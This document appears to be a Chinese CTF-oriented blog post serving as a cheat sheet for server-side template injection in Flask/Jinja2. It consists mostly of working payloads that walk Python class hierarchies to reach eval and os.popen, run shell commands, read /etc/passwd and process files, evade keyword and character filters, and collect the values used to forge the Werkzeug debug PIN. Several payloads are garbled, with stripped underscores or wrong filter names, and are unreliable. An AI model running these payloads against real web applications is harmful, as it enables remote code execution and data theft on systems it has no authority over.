携手创作,共同成长!这是我参与「掘金日新计划 · 8 月更文挑战」的第6天,点击查看活动详情
Flask
Flask 中的渲染方法有两种 : render_template() 和 render_template_string()
render_template()
渲染一个指定的文件 , 这个指定的文件其实就是模板(html页面)
render_template_string()
渲染一个字符串
@app.route('/test')
def test():
html = '{{12*12}}'
return flask.render_template_string(html)
jinja语句
{%...%} 执行语句
{{...}} 输出表达式
{#..#} 注释
ssti魔术方法
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。
__getattribute__()实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__builtins__ builtins即是引用,Python程序一旦启动,它就会在程序员所写
__base__:子类找父类__subclasses__():父类找子类__class__:子实例找父实例
获取基本类的方法
[].__class__.__base__
''.__class__.__mro__[2]
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用
或者
[].__class__.__bases__[0] //其他的类似
获取基本子类
[].__class__.__base__.__subclasses__()
利用方法
读取文件
().__class__.__base__.__subclasses__()[80]('/flag').read()
获得索引号为80的类
遍历序列号
for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
漏洞利用(查看id)
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cat /flag").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
命令执行
{{().class.bases[0].subclasses()205.communicate()[0]}}
os执行
os._wrap_close类中的popen
{{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat flag').read()}}
遍历popen调用
{%for i in ''.__class__.__base__.__subclasses__()%}
{%if i.__name__=='_wrap_close'%}
{%print i.__init__.__globals__['popen']('cat flag').read()%}
{%endif%}
{%endfor%}
__import__中的os
{% for c in ''.__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cat flag").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
__builtins__执行
url_for
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
或
{{url_for.__globals__['os']['popen']("cat flag").read()}}
config
{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
lipsum
flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块
{{lipsum.__globals__['os'].popen('ls').read()}}
任意字母
任意26个英文字母的任意组合都可以,同样可以得到__builtins__
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
{{().class.bases[0].subclasses()[132].init.globals['builtins']['eval']("import('os').system('cat flag')")}}
{{().class.bases[0].subclasses()[132].init.globals['builtins']['eval']("import('os').popen('cat flag').read()")}}
{{().class.bases[0].subclasses()[132].init.globals['builtins']'import'.popen('cat flag').read()}}
{{().class.bases[0].subclasses()[132].init.globals['builtins']'open'.read()}}
绕过方式
中括号[]
getitem()
"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)//__getitem__(2)=[2]
pop()
函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。pop并不会真的移除,但却能返回其值,取代中括号,来实现绕过。
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
引号''
chr()
因为没法直接使用chr函数,所以需要通过__builtins__找到他
{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}//{{""[__class__]}}
59:<class 'warnings.WarningMessage'>)
request
GET: request.args
Cookies: request.cookies
Headers: request.headers
Environment: request.environ
Values: request.values
request.__class__
request["__class__"]
request|attr("__class__")
-------------------------------
{{''[request.args.a][request.args.b][-1][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__
花括号{}
{%print(...)%} 代替{{...}}
{{print(().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()"))}}
等同于
{%print(().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()"))%}
过滤关键字
__getattribute__使用实例访问属性时,调用该方法
base64编码绕过
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]('/etc/passwd').read()}}
字符串拼接绕过
{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]('/etc/passwd').read()}}
过滤器
attr
""|attr("__class__")
相当于
"".__class__
john
""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]
相当于
""["__class__"]
format
| join被过滤时用|format
{{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
first last random
"".__class__.__mro__|last()
相当于
"".__class__.__mro__[-1]
replace
"__cladd__"|replace("dd","ss") // "__class__"
reverse
"__ssalc__"|reverse // "__class__"
string
().__class__ //出来的是<class 'tuple'>
(().__class__|string)[0] 出来的是<
{{(()|select|string|list)}}
(()|select|string)[24]~//_
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]
list
{{(()|select|string|list).pop(0)}}
获取字符
数字
{{lipsum|string|list}}
{{(lipsum|string|list).index('f')}}
下划线
{{(lipsum|string|list).pop(18)}}
PIN码利用
- flask 库下 app.py 的绝对路径,通过webug报错信息就会泄露该值。(Debug)
/usr/local/lib/python3.7/site-packages/flask/app.py
- 当前网络的 mac 地址的十进制数。通过文件 /sys/class/net/eth0/address 获取
- 机器的 id 。对于非 docker 机每一个机器都会有自已唯一的 id ,
linux的 id 一般存放在 /etc/machine-id 或 /proc/sys/kernel/random/boot_i,有的系统没有这两个文件,对于 docker 机则读取 /proc/self/cgroup
popen方法获取
{{''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/proc/self/cgroup').read()}}